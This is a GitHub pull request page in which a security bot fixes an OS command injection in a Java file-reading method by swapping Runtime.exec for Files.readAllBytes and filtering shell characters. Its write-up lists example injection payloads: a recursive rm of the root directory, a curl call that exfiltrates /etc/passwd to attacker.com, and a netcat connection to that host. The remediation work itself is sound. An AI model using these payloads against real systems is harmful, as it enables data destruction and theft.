[AppSecAI Agent] Uncontrolled command line - #3
Open
conviso-platform-appsec[bot] wants to merge 1 commit into
Open
[AppSecAI Agent] Uncontrolled command line#3conviso-platform-appsec[bot] wants to merge 1 commit into
conviso-platform-appsec[bot] wants to merge 1 commit into
Conversation
| strOut.append((char) c); | ||
|
|
||
| // Validate that the filename does not contain shell special characters | ||
| if (nome.matches(".*[;&|`$<>!\\\\*?\\[\\]{}()'\"].*")) { |
| return e.toString(); | ||
| } | ||
| // Use Files.readAllBytes instead of shell command to safely read the file | ||
| byte[] fileBytes = Files.readAllBytes(filePath.toAbsolutePath()); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
AppSecAI Agent
Issue ID: 8860292
Title: Uncontrolled command line
Severity: CRITICAL
Type: SastFinding
Description
Using externally controlled strings in a command line is vulnerable to malicious changes in the strings.
Code that passes user input directly to
Runtime.exec, or some other library routine that executes a command, allows the user to execute malicious code.Fix Details
Security Fix: Uncontrolled Command Line Injection in
lerArquivomethodVulnerability
The
lerArquivomethod inArquivoServiceImplwas vulnerable to OS Command Injection (CWE-78). The method accepted a user-controllednomeparameter and directly concatenated it into a shell command string passed toRuntime.exec():This allowed an attacker to inject arbitrary shell commands by crafting a malicious
nomevalue such as:file.txt; rm -rf /file.txt && curl http://attacker.com/exfil?data=$(cat /etc/passwd)file.txt | nc attacker.com 4444Fix
The fix eliminates the use of
Runtime.exec()entirely and replaces it with the Java NIOFiles.readAllBytes()API, which safely reads file contents without invoking a shell:Runtime.getRuntime().exec()call entirely.Files.readAllBytes(filePath.toAbsolutePath())which reads the file directly without shell interpretation.;,&,|,`,$,<,>,!,\,*,?,[,],{,},(,),',").Paths.get(nome).normalize()to prevent path traversal attacks.Impact
lerArquivo)This PR was automatically created by Conviso Platform Auto-Fix.